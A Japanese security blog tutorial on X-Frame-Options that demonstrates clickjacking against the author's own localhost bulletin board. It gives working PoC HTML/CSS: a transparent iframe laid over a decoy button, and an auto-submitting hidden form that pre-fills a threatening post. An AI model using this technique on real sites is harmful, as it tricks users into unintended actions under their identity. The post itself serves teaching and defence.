セキュリティ

【X-Frame-Options】クリックジャッキング攻撃の検証

HTTPヘッダの一つであるX-Frame-Optionsの意味や危険性について度々言及されることがありますが、クリックジャッキングという攻撃を未然に防ぐ効果があるというふわっとした理解の人も多いと思います。ここでは実際の攻撃例を通じて、X-Frame-Optionsの影響を詳しく解説していきます。

X-Frame-Optionヘッダとは

本題の解説に入っていく前にX-Frame-Optionsヘッダの概要について確認しておきます。mozillaの公式サイトによると以下の通りです。

X-Frame-OptionsはHTTPのレスポンスヘッダーで、ブラウザーがページを<frame><iframe><embed><object> の中に表示することを許可するかどうかを示すために使用します。サイトはコンテンツが他のサイトに埋め込まれないよう保証することで、クリックジャッキング攻撃を防ぐために使用することができます。

https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/X-Frame-Options

嚙み砕いて解説するとX-Frame-Optionsヘッダを出力して適切な値を設定することで、他のサイト上のframeやiframe要素の中で自分の用意したWebサイトが読み込まれないようにできます。逆にX-Frame-Optionsヘッダを出力しないことで読み込みを許可するといった制御も行うことができます。

クリックジャッキング攻撃とは

前の節でX-Frame-Optionsヘッダを出力しないことにより他のWebサイト上で自分の用意したWebサイトが読み込まれることを許可することができるとお伝えしましたが、この設定だとクリックジャッキング攻撃を受ける可能性があります。

例えば以下のようなサイトがあったとしましょう。字面だけでは分かりにくいという方は次の節で画像を用いた説明を行っているのでそのまま進んでいただいても結構です。

・悪意のあるWebサイト:クリックジャッキング攻撃の対策がされていないページを読み込むサイト(加害者)
・掲示板サイト:悪意のあるWebサイトに読み込まれる側(被害者)


悪意のあるWebサイト上に、とあるキャンペーンに応募するためのボタンを設定しておきます。そしてiframe要素を通じてクリックジャッキング攻撃の対策がされていない掲示板ページを悪意のあるWebサイト上で読み込みます。その後掲示板で書き込みを行うボタン(掲示板サイト)をキャンペーンに応募するためのボタン(悪意のあるWebサイト)と重なる位置に調整します。そのうえで掲示板サイトを透明にすることで、ユーザは悪意のあるWebサイト上でキャンペーンに応募するボタンを押したつもりが、実際は掲示板サイトの書き込みボタンを押下してしまうのです。これによりユーザは気づかぬ間に犯行予告などを書き込むことになり、被害を受けることになります。

クリックジャッキング攻撃の例

では実際に検証に入っていきましょう。今回の検証では新たに用意した悪意のあるWebサイトと前回の記事で利用した掲示板サイトを利用します。ただ1点注意すべき点として、書き込む内容が記載されていない状態で掲示板の書き込みボタンをユーザに押下させるだけでは意味がありませんので、悪意のあるWebサイト上で掲示板サイトを読み込んだ際、悪意あるメッセージが記入された状態になる工程を追加します。

手順

1.悪意のあるWebサイト上(PoC.html)上のiframeで掲示板に悪意のあるメッセージを記入するスクリプト(iframe.html)を呼び出す
2.iframe.htmlで悪意のあるメッセージを記入したら掲示板の書き込み画面(confirm_post.php)に遷移
3.悪意のあるメッセージが記入された状態でユーザに書き込みボタンをクリックさせる

1.悪意のあるWebサイト(PoC.html):掲示板サイトを読み込む側(加害者)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>IFrame Example</title>

    <!-- 外部のCSSファイルをリンク -->
    <link rel="stylesheet" href="PoC.css" type="text/css">
</head>
<body>
    <h1>悪意のあるWebサイト</h1>

    <h2>以下のボタンからキャンペーンに応募することができます。</h2>
    //悪意のあるメッセージを書き込むスクリプトを呼び出す
    <iframe src="http://localhost/ClickJacking/iframe.html" width="600" height="400" frameborder="0"></iframe> 

    <!-- 投稿フォーム -->
    <form action="#" method="post">
        <button type="button" id="applyButton">応募する</button>
    </form>
</body>
</html>
//css
iframe {
    position: relative;
    opacity: 0.0; 
    filter: alpha(opacity=70);
    z-index: 1;
}

h2 {
    position: absolute;
    top: 170px;
    left: 20px
}

form {
    margin: 0 auto; 
}

button {
    position: absolute;
    top: 260px;
    left: 25px;
    background-color: #007BFF; 
    color: #fff; 
    padding: 10px 5px; 
    border: none; 
    border-radius: 5px;
    cursor: pointer; 
}

button:hover {
    background-color: #0056b3;
}

2.悪意のあるメッセージを掲示板に記入するスクリプト(iframe.html)

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>フォームの送信</title>
</head>
<body>
  <form id="myForm" action="http://localhost/bulletin%20board/confirm_post.php" method="POST">
    <input type="hidden" name="message" value="〇月〇日に〇〇店を襲撃します。">
  </form>

  <script>
    document.addEventListener('DOMContentLoaded', function() {
      document.getElementById('myForm').submit();
    });
  </script>
</body>
</html>

3.掲示板サイト(confirm_post.php):読み込まれる側(被害者側)

//cssは省略
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $message = $_POST['message'];
} else {
    header("Location: index.php");
    exit();
}
?>

<!DOCTYPE html>
<html lang="ja"> <!-- lang属性をjaに変更 -->
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>書き込み確認</title>
    <link rel="stylesheet" href="confirm_post.css" type="text/css">
</head>
<body>
    <h1>書き込み確認</h1>
    <p>以下の内容で投稿しますか?</p>
    <p><?php echo htmlspecialchars($message); ?></p>

    <form action="post_form.php" method="post">
        <input type="hidden" name="message" value="<?php echo htmlspecialchars($message); ?>">
        <button type="submit">はい</button>
        <button type="button" onclick="history.back()">いいえ</button>
    </form>
</body>
</html>

実際に悪意のあるWebサイト上で掲示板サイトを読み込んだ画面は以下の通りです。視覚的に分かりやすいよう透明度を50%に設定しています。この状態で掲示板サイトを読み込むiframe要素の透過度を100%にすると下の掲示板サイトの部分が見えなくなり、ユーザはキャンペーンに応募するボタンを押下したつもりが、実際は掲示板に書き込むボタンを押下してしまうのです。

掲示板サイトの透過度を50%にした場合

掲示板サイトの透過度を100%にした場合(※透明なだけで内部的には掲示板に書き込む画面が存在する)

では透過度を100%にした画面で「応募する」ボタンを押下してみましょう。実際には透明になっている掲示板サイトの書き込みボタンが押下され、掲示板に書き込み処理が行われることを確認できます。

いかがでしょうか?最終的には第三者に悪意のある犯罪予告メッセージの書き込みを行わせることに成功してしまいました。

まとめ

X-Frame-Optionsヘッダが出力されていない掲示板サイトを悪用して、第三者が知らない間に悪意のあるメッセージを書き込んでしまう原理を説明してきました。以上がクリックジャッキングの基本的な例です。X-Frame-Optionsヘッダが出力されていなくとも静的なHTMLページであったり重要な更新が行われないようなページだけであればクリックジャッキング攻撃の影響はほとんど受けません。ただ対策はサーバのconfig設定を少し修正するだけで対応可能なケースがほとんどですので、Webサイトやサーバの管理に携わる人であればX-Frame-Optionsヘッダの設定は常に行っておくことを推奨します。

-セキュリティ